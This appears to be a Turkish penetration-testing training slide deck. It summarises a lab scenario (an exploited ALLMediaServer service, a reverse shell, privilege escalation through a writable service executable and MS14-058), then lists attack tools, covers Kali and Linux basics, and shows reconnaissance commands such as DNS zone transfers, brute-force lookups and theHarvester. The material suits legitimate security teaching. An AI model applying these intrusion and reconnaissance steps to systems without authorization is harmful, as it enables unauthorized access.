payload'umuzu karşılamak üzere TCP 5555 portundan dinleyen
servisimizi başlatalım.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Win64.exe shell.exe
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Reverse TCP shell'imizi aldığımızda "whoami" komutu ile kullanıcı


haklarımızı kontrol edebiliriz.
SİSTEM – 2 (SENARYO)
ÖZETLE;
• TCP port taramasında bir servis tespit ettik ancak
ne servisi olduğu ve versiyonu ile ilgili bilgi
edinemedik.
• UDP port taramasında SNMP servisini ve
community string olarak "public" kelimesini
kullandığını tespit ettik.
• SNMP sorguları ile servisin ALLMediaServer
olduğuna dair bir fikir oluştu.
• Bu uygulama için yayınlanmış bir exploit kodunu
düzenledik ve shell aldık.
SİSTEM – 2 (SENARYO)
ÖZETLE (devamı);
• Yetki yükseltme çalışmaları için dosya yükleme
imkanı geliştirdik (wget.vbs ile)
• Hedef Windows bilgisayar üzerindeki servisleri ve
bu servislerin kodlarının bulunduğu dizinleri
inceledik.
• Erişim kontrolü yetersiz bir servis exe'sini kendi
payload'umuzla ezerek System erişimi elde ettik.
• Alternatif bir yetki yükseltme senaryosu olarak
MS14-058 yamasının yüklenmediğini tespit
ettiğimiz hedef sistem üzerinde bu exploit
vasıtasıyla yetkimizi yükselttik.
ÖRNEK SENARYOLARDA KULLANDIĞIMIZ
ARAÇLAR
Araçlar Platform Kullanım Amaçları
ifconfig Linux IP adres bilgilerini gösterir.
netdiscover Kali ARP vd. tekniklerle sunucu keşfi yapar.
nmap Kali Port tarama, işletim sistemi ve servis keşfi yapar. Ayrıca
çeşitli yardımcı scriptler ile açıklık taramaları yapar.
searchsploit Kali Kali üzerinde bulunan Exploit DB istismar kodları içinde
arama yapmak için kullanılır.
Web attack proxy aracıdır. Ücretsiz sürümündeki
Burp Suite Kali fonksiyonalite sınırlıdır.
Web sunucuları üzerinde belirli açıklıkları tarar ve backend
nikto Kali
içerik taraması gerçekleştirir.
Web sunucuları üzerinde frontend ve backend içerik
dirb Kali
taraması gerçekleştirir.
Exploit DB web İstismar kodlarının toplu biçimde sunulduğu bir web
sitesi Web sitesidir.
unzip Linux Linux üzerinde zip'li dosyaları açmak için kullanılır.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
Linux üzerinde belirli bir kelimeyi dosyalar ve stdin içinde
grep Linux
arar, kelimenin bulunduğu satırı çıktı olarak üretir.
Verilen hedef web sayfasındaki kelimelerden parola
cewl Kali sözlüğü oluşturur.
head Linux Belli bir dosyanın ilk satılarını görüntüler.
KoreLogic JTR JTR parola kırma aracının parola üretme fonksiyonalitesi
rule'ları Kali için özel kurallar barındırır.
Çevrim dışı (offline) parola kırma aracıdır. Biz parola
John the Ripper Kali
sözlüğü türetmek için kullandık.
OWASP ZAP Kali Web attack proxy aracıdır.
İstismar payload kodu üretmek için kullanılır. Makine dili
msfvenom Kali
(executable) dahil pek çok dilde istismar kodu üretir.
TCP ve UDP istemci ve sunucu olarak kullanılabilir. Ayrıca
netcat Kali port tarama imkanı da vardır.
Metasploit framework'ün en çok kullanılan arayüzüdür.
msfconsole Kali Exploit işlemini otomatikleştirmek için pek çok
fonksiyonalitesi vardır.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
Çok aşamalı istismar kodu gönderme mimarisinde ve çeşitli
meterpreter Kali
fonksiyonaliteleri sağlayan payload framework'üdür.
Linux / Mevcut kullanıcı adımızı ve diğer bilgileri sorgulamayı
whoami Windows sağlar.
Linux sunucu adı, versiyonu ve kernel versiyonu bilgilerini
uname -a Linux listeler.
cat /etc/*-release Linux cat komutu dosya içeriğini listeler. release dosya içeriği
Linux işletim sistemi ile ilgili detay bilgi içerir.
id Linux Linux'ta mevcut kullanıcı kodu ve grup üyeliklerini listeler.
nbtscan Kali Windows bilgisayarlar için uzaktan NetBIOS isim servisini
taramak için kullanılır.
snmp-check Kali SNMP servisi tarama aracıdır.
Windows bilgisayarlar üzerindeki WMI arayüzünden
wmic service Windows (komut satırından) bilgi sorgulama aracıdır.
findstr Windows Dosya ve stdin üzerinden aldığı satırlar içinde kelime
aracıdır.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
Windows dosya ve dizin erişim hakları sorgulama ve
cacls Windows
tanımlama aracıdır.
vb script Windows Windows tarafından desteklenen bir script dilidir.
PHP, ASP v.b. web script dosyaları da dahil herhangi bir
dosyanın hedef sistem üzerinden HTTP protokolü ile
SimpleHTTPServer Kali çekilebilmesi için kullanılan basit bir HTTP servis
modülüdür.
net stop / start Windows Windows üzerinde servis durdurma ve başlatma
komutlarıdır.
Wireshark Kali Paket dinleme ve protokol analiz aracı.
OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Kali tam olarak nedir? Kali'ye Giriş
Kali'nin üzerine bir uygulama kurulum yöntemi Kali'ye Giriş
nedir?
Linux üzerindeki temel komutlar nelerdir? Kali'ye Giriş
TCP, UDP, HTTP nedir? Bilgi Toplama
Nmap portları nasıl buluyor, işletim sistemini
nasıl tahmin ediyor? Bilgi Toplama
Netcat nasıl çalışıyor? Bilgi Toplama
NetBIOS nedir? Bilgi Toplama
SNMP nedir? Bilgi Toplama
Whois nedir? Bilgi Toplama
Shellcode nedir? Bellek Taşma Açıklıkları
OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Msfvenom ile ürettiğimiz shellcode'lar Bellek Taşma Açıklıkları
neden \x ile başlayan bölümlerden oluşuyor?
Attack proxy tam olarak ne yapıyor? Web Uygulama Açıklıkları
Nikto ve dirb /admin dizinini nasıl buldu? Web Uygulama Açıklıkları
SQL injection nedir? Web Uygulama Açıklıkları
PHP nedir? Web Uygulama Açıklıkları
Payload nedir, shellcode'dan farkı nedir? Metasploit ve Meterpreter
Meterpreter nedir? Metasploit ve Meterpreter
John the Ripper ne işe yarıyor? Parola Kırma
Yetki yükseltme yöntemleri nelerdir? Yetki Yükseltme
Local exploit ne demektir? Yetki Yükseltme
KALİ'YE
GİRİŞ
İÇERİK
• Kali Linux Nedir?
• Linux Shell Ortamı
• Linux Dosya Sistemi İşlemleri
• Linux Dosya Bulma İşlemleri
• Linux Shell Scripting
• Linux Kullanıcı Yönetimi
• Linux Ağ Trafiği İzleme
• Kali Linux Servis Yönetimi
• Linux Uygulama Kurulumu
• Editörler ve Dosya İzleme Araçları
KALİ LINUX NEDİR?
• Kali bir (genel amaçlı konularda Debian paketleri baz alınarak
oluşturulmuş) Linux dağıtımıdır, ancak genel amaçlı olmayıp özellikle sızma
testi, adli bilişim ve tersine mühendislik amaçlarıyla kullanılmak üzere
özelleştirilmiştir.
• Kali’nin araçlar açısından genel eğilimden farklılaştığı bir nokta sadece
DOS, DDOS ve anonim internet erişimine özel araçları genellikle yasal
projelerde kullanılmadıkları gerekçesiyle dışlamış olması ve
barındırmamasıdır.
• Debian standartlarına bağlı kalınarak özelleştirilmiş bu dağıtımın kernel
seviyesinde ve güvenlik araçları uygulama kodları seviyesinde gerekli
görülen pek çok irili ufaklı özelleştirme yapılmıştır. Yani herhangi bir linux
işletim sistemi alınarak üzerine araçlar basit bir şekilde kurulmamıştır.
Çoğunluğu açık kaynak kodlu araçlardan oluşan güvenlik yazılım paketleri
ile ilgili bilgi ve yama linklerine http://tools.kali.org web sitesinden
ulaşabilirsiniz.
KALİ LINUX NEDİR?
Kali’nin diğer linux dağıtımlarından belli başlı farkları şunlardır:
• Tek kullanıcı ve “root” kullanıcısı olarak kullanılmak üzere tasarlanmıştır.
Bu yaklaşım normal sunucular için güvenlik açısından sakıncalıdır. Ancak
kali’de kullanılan araçların önemli bir kısmı root erişim haklarına ihtiyaç
duyurmakta ve her defasında sudo yapmaktan kurtulmak için bu yaklaşım
kullanılmaktadır.
• Kali genel amaçlı bir dağıtım değildir ve bu nedenle ağ servisi vermesi de
beklenmez. Bu yüzden sistem başlangıç konfigürasyonları tüm servisler
kapalı olacak şekildedir. Elbette siz servisleri açabilir ve bunları her reboot
işleminden sonra aktif hale gelecek şekilde ayarlayabilirsiniz. Ancak diğer
Linux dağıtımlarında yeni bir servis kurulduğunda öntanımlı olarak init
script'lerini oluşturarak aktif hale gelmesini sağlayan update-rc.d script'i
Kali Linux üzerinde değiştirilerek bir kara liste kontrolü yapılmıştır.
• Kali kablosuz ağ testleri için özelleştirilmiş bir kernel kullanmaktadır. Yani
ayrıca özel sürücüler kurma ihtiyacı yoktur.
KALİ LINUX NEDİR?

update-rc.d içindeki kara liste


KALİ LINUX NEDİR?
• Kali bir linux dağıtımı olmakla birlikte Linux’u öğrenmek için doğru bir
platform olduğu söylenemez. Linux hakkında temel deneyimleri edinmek
için Ubuntu, Debian, Mint gibi dağıtımlar tercih edilebilir.
• Bununla birlikte Kali’yi etkin olarak kullanmak için temel linux kullanıcı ve
sistem yönetici bilgisine sahip olmak gereklidir.
LINUX SHELL ORTAMI Kullanıcılar logon
olduklarında çalışacak olan
/etc/passwd shell uygulaması /etc/passwd
dosyasında belirtilir.

SORU: /usr/sbin/nologin
ve /bin/false gibi dosyalar ne
işe yarıyor olabilir?..

Kullanıcı $HOME dizini


Kullanıcı logon olduğunda
içine düşeceği dizindir.
LINUX SHELL ORTAMI

Shell açılışı sırasında çalışan


profil script'leri

/etc/profile
~/.bash_profile
~/.bash_login
~/.profile
LINUX SHELL ORTAMI

Shell değişkenleri ve çevresel


değişkenlerin atanması ve
sorgulanması
LINUX SHELL ORTAMI
ÇEVRESEL
# env | more
DEĞİŞKENLER

$PATH çevresel değişkeni


LINUX SHELL ORTAMI

"echo" komutuyla shell


değişkenleri ve çevresel
değişken gösterme
LINUX SHELL ORTAMI

# nohup komutu ile arka


plandaki işin shell
proses'inden bağımsız
çalıştırılması
LINUX SHELL ORTAMI

Ctrl+Z, fg ve bg komutları ile


işlerin arka plana atılması ve
ön plana alınması
LINUX SHELL ORTAMI

stdout yönlendirme
(redirection)
">"
LINUX SHELL ORTAMI

stdout yönlendirme
(redirection) yapılsa da stderr
konsola yazılmaya devam
ediyor.
LINUX SHELL ORTAMI

Hem stdout'u hem de stderr'u


yönlendirme (redirection)
"&>" veya "2>&1"
LINUX SHELL ORTAMI

stdin yönlendirme
(redirection)
"<"
LINUX SHELL ORTAMI

Ekleme (append etme)


">>"
LINUX SHELL ORTAMI

Pipe ile bir sonraki komutun


stdin'ine veri aktarma
"|"
LINUX SHELL ORTAMI

"tee" komutu ile hem konsola hem


dosyaya veri yazma
LINUX SHELL ORTAMI
Diğer pratik shell komutları:
• sort: Adından da anlaşılacağı üzere almış olduğu girdiyi sıralayarak çıktı üretir
• uniq: Sıralanmış bir girdi dizisinden tekrarlayan satırları çıkararak satırları
tekil biçimde tekrar üretir
• grep: En sık kullanılan filtrelerden birisi olan “grep” komutu girdilerin içinde
belirli bir veri yapısını arar ve bu veri yapısının bulunduğu satırın tamamını
çıktı olarak tekrarlar. Yani veri yapısının görülmediği satırları eler. Veri yapısı
sabit bir metin olabileceği gibi bir “regular expression” da olabilir.
• head: Genellikle büyük bir dosya inceleneceği zaman sadece ilk birkaç satırını
görmek için kullanılır.
• tail: Genellikle büyük bir dosya inceleneceği zaman (örneğin bir log dosyası
gibi) dosyanın sadece son birkaç satırını görmek için kullanılır. Tail komutu
özellikle log dosyaları gibi sık değişen dosyaların sonuna eklenen satırların
sürekli izlenmesi için “-f” switch’i ile birlikte kullanılır.
• sed: Adı “stream editor”ün kısaltması olan “sed” komutu aldığı girdi içinde
gerekli değişiklik ve dönüşümleri yaparak çıktı üretir.
LINUX SHELL ORTAMI

Shell History dosyaları kullanıcıların


$HOME dizinlerinde bulunur ve
hassas bilgi içerebilir
LINUX SHELL ORTAMI
EGZERSİZ

• Kali bilgisayarınıza "root" kullanıcısı olarak logon olduğunuzda


shell'inizde tanımlı olan $PATH çevresel değişkeni "local path"i
(yani ".") içermekte midir?

• İçermiyorsa veya içermeseydi içinde bulunduğunuz dizindeki bir


uygulamayı / script'i nasıl çalıştırabilirdiniz?
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"ls" komutu ile dizin ve dosyaları


listeleme
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"ls -a" komutu ile normalde


görüntülenmeyen adı "." ile
başlayan dizin ve dosyaları
listeleme
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"pwd" yani Present Working


Directory komutu ile içinde
bulunduğumuz dizinin adını
öğrenme
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"ls -l" komutu ile dizin ve


dosyaların sahiplik, erişim hakları
ve boyutlarını listeleme
LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya / dizin erişim haklarının bulunduğu bölümün başında özel erişim bayrağı
(special permission flag) bulunur.

[-] [rwx] [rwx] [rwx]

Bu ilk bölümde bulunabilecek tüm opsiyonlara farklı bir kaynaktan


ulaşabilirsiniz. Ancak burada sadece sıklıkla karşılaşılan opsiyonlara
değineceğim:
• “-“ karakteri dosyanın rutin bir dosya olduğuna işaret eder.
• “d” karakteri ilgili ismin bir dizin ismi olduğunu belirtir.
• “l” dosyanın aslında farklı bir dosyanın sembolik linki olduğunu belirtir.
Bu konuyu aşağıda açıklayacağız.
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"ln -s" komutu ile sembolik link


oluşturma
LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya erişim izinleri 3 farklı grup için verilir:
• Dosya sahibi kullanıcı (u - owner)
• Grup (g - group)
• Diğer (tüm) kullanıcılar (o - others)

Erişim hakları ise aşağıdaki gibidir:


• Okuma (r - read): Dosyalar için dosyanın içeriğinin görülebilmesi, dizinler için
dizin içeriğinin listelenmesi anlamına gelir.
• Yazma (w - write): Dosyalar için dosya içeriğinin değiştirilebilmesi, dizinler
için dizin içinde dosya oluşturma, dizin içindeki dosyaların adını değiştirme,
dizin içindeki dosyaları silme ve dizin özelliklerini (attributes) değiştirebilme
anlamına gelir.
• Çalıştırma (x - execute): Dosyalar için dosyanın (derlenmiş kod dosyası veya
script dosyası) çalıştırılabilmesi, dizinler için dizine giriş, dizinin içindeki dosya
ve dizinlere erişim hakkı anlamına gelir.
LINUX DOSYA SİSTEMİ İŞLEMLERİ

Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü
bu uygulamalar yüksek erişim hakkına sahip olduklarından düşük kullanıcı hakkına sahip
kullanıcılar tarafından kötüye kullanılabilirler. Ayrıca bu uygulamalardaki bir açıklık yüksek
kullanıcı haklarının herhangi bir işlem gerçekleştirilebilmesine de olanak tanıyabilir.
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"chmod" komutu ile dosya erişim


haklarının düzenlenmesi
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"cd" komutu ile relative dizin


değiştirme
LINUX DOSYA SİSTEMİ İŞLEMLERİ

"cp", "mv", "rename" ve "rm"


komutları
LINUX DOSYA BULMA İŞLEMLERİ

"which" komutu ile $PATH çevresel


değişkenindeki dizin sırasında ilk
bulunan çalıştırılabilir kodun
görüntülenmesi
"-a" opsiyonu ile tüm dizinlerde
bulunan çalıştırılabilir kodların
araştırılması
LINUX DOSYA BULMA İŞLEMLERİ

"locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH
değişkeninde geçen dizinleri arar. “locate” komutu bir veritabanı içinde dosya isimlerini
arar. Bu veritabanı bir “cron” işiyle periyodik olarak güncellenirEğer veritabanını manuel
olarak güncellemek isterseniz “updatedb” komutuyla da bu işlemi yapabilirsiniz.
LINUX DOSYA BULMA İŞLEMLERİ

"find" komutunun "-name"


opsiyonu ile kullanılması ve "/etc"
dizini ve alt dizinlerinde ismi "prof"
ile başlayan tüm dosyaların
adlarının listelenmesi
LINUX DOSYA BULMA İŞLEMLERİ
EGZERSİZ

• "/usr" dizini ve onun altındaki dizinlerde "setuid" yani "s" biti


işaretli ve sahibi "root" kullanıcısı olan kaç adet dosya
bulunmaktadır?

İpucu: "man" komutu ile "find" komutunun manual page'ini


inceleyiniz. "man" komutu öntanımlı olarak "vi" editörünü (read-
only) kullanır. "vi" da bir kelimeyi aramak için "/"
karakterine bastıktan sonra kelimeyi
yazabilirsiniz. "find next" işlemi için "n"
tuşunu kullanınız.
İnternet'ten faydalanabilirsiniz.
LINUX SHELL SCRIPTING
#!/bin/bash
echo "Lütfen taranacak subnet'in ilk 3 octet'ini giriniz ve
[ENTER] tuşuna basınız (ör: 192.168.163)"
read SUBNET
function scan {
local YANIT="0"; local IP=$1.$2; local ECHO="echo-0"
hping3 $IP -c 1 -1 -C 8 >& aradosya.$IP # ECHO Request
if grep "1 packets received" aradosya.$IP >& /dev/null; then
if ! grep "Unreachable" aradosya.$IP >& /dev/null; then
ECHO="echo-1" # paket ICMP Unreachable yanıtı değil
fi
fi
echo $IP";"$ECHO
rm aradosya.$IP
}
for i in `seq 1 254`; do
scan $SUBNET $i
done
exit 0
LINUX SHELL SCRIPTING
Shell interpreter

Comment

Command Substitution
LINUX SHELL SCRIPTING
EGZERSİZ

• 1-50 arasındaki rakamları konsola yazan bir shell script


geliştiriniz ve çalıştırınız.
LINUX KULLANICI YÖNETİMİ

"/etc/passwd" dosyası
LINUX KULLANICI YÖNETİMİ

"/etc/group" dosyası
LINUX KULLANICI YÖNETİMİ

"/etc/shadow" dosyası
LINUX KULLANICI YÖNETİMİ

# hash-identifier aracı ile parola


hash'inin türünün incelenmesi
LINUX KULLANICI YÖNETİMİ

# adduser komutu ile kullanıcı


ekleme
LINUX KULLANICI YÖNETİMİ

Yeni oluşturulan btriskblog


kullanıcısı ile sisteme giriş ve "su"
komutu ile "root" kullanıcısına
geçiş
LINUX KULLANICI YÖNETİMİ

"sudo" yetkisinin verildiği


"/etc/sudoers" dosyası
LINUX KULLANICI YÖNETİMİ

"sudo" yetkisi kullanılarak kullanıcı


ekleme
LINUX KULLANICI YÖNETİMİ
EGZERSİZ

• Kali Linux bilgisayarınızın üzerinde öntanımlı olarak shell logon


olabilecek kaç kullanıcı bulunmaktadır?
• Shell logon olabilmek için gerekli kriterler nelerdir?
LINUX AĞ TRAFİĞİ İZLEME

"tcpdump"
stdout'a yazdırma
LINUX AĞ TRAFİĞİ İZLEME

"tcpdump"
filtreleme
LINUX AĞ TRAFİĞİ İZLEME

Wirehark
filtreleme
LINUX AĞ TRAFİĞİ İZLEME

Wirehark
TCP Stream
LINUX AĞ TRAFİĞİ İZLEME
EGZERSİZ

• "tcpdump" ile kaydettiğiniz ağ trafik paketlerini "Wireshark" ile


okuyarak inceleyiniz. "tcpdump" ile izleme yaparken bir web
trafiği oluşturarak ağ paketlerinin oluşmasını sağlayabilirsiniz.

İPUCU: "tcpdump"ın paketleri belli bir boyutta yakalaması ve bir


dosyaya yazması için gerekli komut opsiyonlarını araştırınız.
man dosyasından faydalanabileceğiniz gibi
internetten de faydalanabilirsiniz.
KALI LINUX SERVİS YÖNETİMİ

Debian'da "init" dosyası "systemd"


dosyasına linklenmiştir
"init" scriptlerinin yerini "systemd"
unitleri almıştır
KALI LINUX SERVİS YÖNETİMİ

Kali'de servis yönetimi için "systemctl"


komutunu kullanabilirsiniz
Bununla birlikte "init" script desteği ve
"service ... start / stop" komutları ile servis
yönetimi imkanı devam etmektedir
KALI LINUX SERVİS YÖNETİMİ

"root" kullanıcısı ile uzaktan "ssh"


bağlantısı kurabilmek için yapılması
gereken konfigürasyon ayarı
KALI LINUX SERVİS YÖNETİMİ

Putty ile uzaktan bağlantı


KALI LINUX SERVİS YÖNETİMİ

systemd service unit'lerine diğer


örnekler
KALI LINUX SERVİS YÖNETİMİ
EGZERSİZ

• Kali Linux bilgisayarınızda "root" kullanıcısının "ssh" logon


yapabilmesi için gerekli ayarı yapınız ve "ssh" servisini aktif hale
getiriniz. Windows host bilgisayarınıza "Putty" ssh client
uygulamasını indiriniz ve bu aracı kullanarak Kali Linux'a "root"
kullanıcısı ile "ssh" üzerinden bağlanınız.
• "ssh" bağlantınızı Wireshark ile izleyiniz.
LINUX UYGULAMA KURULUMU

Kali'nin üzerinde gelen uygulama


paketleri kaynak listesi
Kali'nin diğer dağıtımlardan temel
farklılıkları öntanımlı olarak bu
listenin daraltılımış olmasıdır
LINUX UYGULAMA KURULUMU

apt (Advanced Package Tool) aracının bilgisayar üzerindeki


paket bilgileri cache'ini güncellemek için herhangi bir
kurulum veya güncelleme öncesinde "apt-get update"
komutunu kullanınız.
LINUX UYGULAMA KURULUMU

apt paketleri cache dosyası örneği


LINUX UYGULAMA KURULUMU

apt ile uygulama kurmak için


"apt-get install ... "
Komutunu kullanınız

Kali apache2 paketinin


otomatik olarak kurulması ve
başlatılmasını engelledi
LINUX UYGULAMA KURULUMU

Sistem üzerinde kurulu paketleri incelemek için


"dpkg -list ... "
"apt" ve diğer paket yönetim araçları arka planda
"dpkg" komutunu kullanmaktadırlar
LINUX UYGULAMA KURULUMU

Kaynak kod'dan uygulama kurulumu


Kali üzerinde C kodlarının derlenmesi
için gerekli olan "build-essential"
paketi kurulu olarak gelmektedir
LINUX UYGULAMA KURULUMU

Kaynak kod'dan uygulama kurulumu


"configure" komutu ile C makefile'ı
oluşturulur
LINUX UYGULAMA KURULUMU

Kaynak kod'dan uygulama kurulumu


"make" komutu ile C uygulaması
derlenir
LINUX UYGULAMA KURULUMU

Kaynak kod'dan uygulama kurulumu


"make install" komutu ile derlenmiş
uygulama nesne dosyaları Linux'ta
uygun dizinlere yerleştirilir
LINUX UYGULAMA KURULUMU
EGZERSİZ

• Kali'nin resource'ları arasında bulunan ve parola kırma amacıyla


kullanılabilecek uygulamaları araştırınız.

İPUCU: "apt-get update" komutuyla uygulama paketleri cache'inizi


tazeleyin ve sonrasında "apt-cache search" komutunun man
page'inden faydalanarak arama yapınız.
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI

"cat" komutu
Adı "concatenate" kelimesinden gelir,
dosyaları birleştirmek için pratik bir
komuttur, ancak tek bir dosya içeriğini
incelemek için de kullanılabilir
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI

"vi" komutu
Çok sayıda tuş komutunu ezberlemeniz gerekir
ESC + "i" karakteri ile "input" moda geçebilirsiniz
ESC + ":" karakteri ile "komut" muduna geçebilirsiniz
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI

"nano" editörü
Linux'la yeni tanışanlar için daha "vi"a
nazaran daha iyi bir alternatif
diyebiliriz
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI

"head" komutu
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI

"tail" komutu
"-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle
özellikle log dosyalarını izlemek için tercih edilir
BİLGİ
TOPLAMA
İÇERİK
• Hedef IP Aralığı Tespiti
• Canlı Sunucu Tespiti
• Port Tarama
• Servis ve İşletim Sistemi Tespiti
• Kullanıcı Tespiti
HEDEF IP ARALIĞI TESPİTİ
IP Aralıkları Tespit Yöntemleri

Eğer hedef kurumun IP adreslerini tespit etmek durumundaysak


izleyebileceğimiz yöntemler aşağıdaki gibidir (bu yöntemler
sırayla kullanılmak durumunda değildir, bir adımda elde edilen
bilgiler diğer bir adımda tekrar sorgulama yapmak için
kullanılabilir):
• 1.Adım: Internet adres otoritelerinin sorgulama imkanlarını
kullanmak
• 2.Adım: Hedef kuruma ait olabilecek sunucu alan adları ve IP
adreslerini çeşitli yöntemlerle tespit etmek ve (bu bilgileri
kullanarak) IP Whois sorgulamaları
HEDEF IP ARALIĞI TESPİTİ

Dünya İnternet Adres


Otoriteleri

IANA – Internet Assigned Numbers


Authority

AFRINIC (Afrika)
APNIC (Asya Pasifik)
ARIN (Kuzey Amerika)
LACNIC (Latin Amerika)
RIPE NCC (Avrupa, Orta Asya, Orta
Doğu)
HEDEF IP ARALIĞI TESPİTİ

Türkiye'nin dahil olduğu


coğrafyadan sorumlu
otorite

RIPE NCC
HEDEF IP ARALIĞI TESPİTİ
Internet üzerinde iletişim kurmak için ihtiyacınız olacak IP
adresini iki şekilde alabilirsiniz:
• Birinci yol olarak bir barındırma hizmeti firmasının veya
abonesi olduğunuz bir ISP (İnternet Servis Sağlayıcı - İSS)
firmasının size sabit olarak veya dinamik olarak atayacağı bir
IP adresini kullanmaktır. Dinamik olarak IP adresinin
atanmasından kasıt cihaz veya sunucunuzu her yeniden
başlatışınızda müsait olan bir IP adresinin size atanması, statik
olarak atanmasından kasıt ise cihaz veya sunucunuzu tekrar
başlatsanız da aynı IP adresini kullanmaya devam etmenizdir.
• İkinci yol ise sizin bölgesel internet adres otoritesinden kendi
adınıza ayırtmış olduğunuz IP adresleri veya IP adres
aralığından bir adresi sunucunuza atamanızdır.
HEDEF IP ARALIĞI TESPİTİ
TESPİTİ ZOR IP ADRES ARALIKLARI
Eğer kurum bir ISP kuruma ait bir IP aralığını kullanıyor, ancak
hali hazırda bu aralıkta bulunan sunuculardan herhangi bir HTTP
servisi vermiyor veya bu IP adresleri ile ilgili herhangi bir DNS
kaydı tanımlamamışsa bu aralığı bulmak pek mümkün değildir.
Çünkü IP aralığı tespit yöntemlerimiz kurumun adının internet
otoritelerinin veritabanlarında geçiyor olmasına (ki ISP IP
aralığının kullanılması durumunda bu mümkün olmayacaktır),
verdiği HTTP servisleri ve bu servisleri verdiği sunucuların alan
adları içinde kurum adının geçiyor olmasına, veya yapacağımız
forward, zone transfer ve bruteforce DNS sorgularında bu IP
adreslerinin görünmesi üzerine kuruludur. Bu açılardan hiçbir iz
bırakılmamışsa bizim bu IP aralığını tespit etmemiz zordur. (ör:
FKM sistemlerinin IP adresleri)
HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
HEDEF IP ARALIĞI TESPİTİ
IP Whois Araçlarını Kullanmak

dmitry v.b. araçlarla internet


adres otoritelerinin sunduğu ip
whois servisleri belirli adresler
için sorgulanarak bu adreslerin
hangi aralıkta olduğu ve bu
aralıkların sahipliğine ilişkin
bilgi edinebiliriz

# dmitry 193.186.4
HEDEF IP ARALIĞI TESPİTİ
IP Whois Araçlarını Kullanmak

dmitry projesi
iwhois.h
dmitry projesi
iwhois.c
HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ

• Kurumunuzun sahibi olduğu IP aralıklarını adres otoritelerinin


sağladığı imkanlardan faydalanarak tespit ediniz.
• Elde ettiğiniz yanıtlarda sosyal mühendislik saldırılarında
kullanılabilecek nitelikte bir bilgi var mı?
HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti

Bing
domain:btrisk.com
HEDEF IP ARALIĞI TESPİTİ
Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti

Google
site:btrisk.com -site:www.btrisk.com
HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
HEDEF IP ARALIĞI TESPİTİ
Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type ANY sorgusu)

Type ANY sorgularında


• Sorgulanan alan adının A
(Address) tipindeki kaydı
• MX (Mail eXchange)
sunucu kayıtları
• NS (Name Server) sunucu
kayıtları döner

Kali
# host -a btrisk.com
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type ANY sorgusu)

Windows
(nslookup) > set type=all
HEDEF IP ARALIĞI TESPİTİ
EGZERSİZ

• "host" komutu ile belli bir alan adı için yaptığınız bir DNS
sorgusunu Wireshark ile inceleyiniz. Sorgulanan kaydın tipi
nedir?
• "host" komutunun neticesinde sorgunun iletildiği sunucu IP
adresi nedir?
• DNS sorgunuzu 4.4.4.4 IP adresine iletecek komut değişikliğini
yapınız.
HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)

# dig axfr alanadi @dnssunucusu


HEDEF IP ARALIĞI TESPİTİ
DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
HEDEF IP ARALIĞI TESPİTİ
DNS Bruteforce Sorguları
HEDEF IP ARALIĞI TESPİTİ
DNS Bruteforce Sorguları

dnsrecon aracının CNAME, A ve


AAAA (IPv6) tipinde sorgular
yaptığı görülüyor

# dnsrecon -d google.com -D /usr/share/golismero/wordlist/dns/dnsrecon.txt -t brt


HEDEF IP ARALIĞI TESPİTİ
DNS Reverse IP (PTR tipi) Sorguları

# dnsrecon -r 31.210.54.1-31.210.54.254
HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester

# theharvester -d btrisk.com -b google -l 100 -h


HEDEF IP ARALIĞI TESPİTİ
Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester

The Harvester aracının arama


motorlarından web sunucusu,
e-posta adresi sorguladığı,
Shodan veritabanından
sorgulama yaptığı görülüyor
CANLI SUNUCU TESPİTİ
• Halka açık kaynaklardan IP aralıkları, alan adları ve
DNS kayıtlarını elde ettikten veya sızma testi
muhatabı tarafından belirli bir IP aralığı verildikten
sonra sıra bu aralıkta aktif olabilecek sunucuların
tespitine gelir.
• Burada hedef aralığın genişliği ve kurumun güvenlik
ihtiyaçlarının düzeyi yapılacak taramaların
yoğunluğu ile ilgili bize yön gösterecektir.
• Bu noktadan sonra hedef ağ ile doğrudan etkileşim
artarak başlayacaktır. Bu nedenle stratejimiz en az
trafik doğuracak işlemlerden başlayarak ilerlemek
olacaktır.
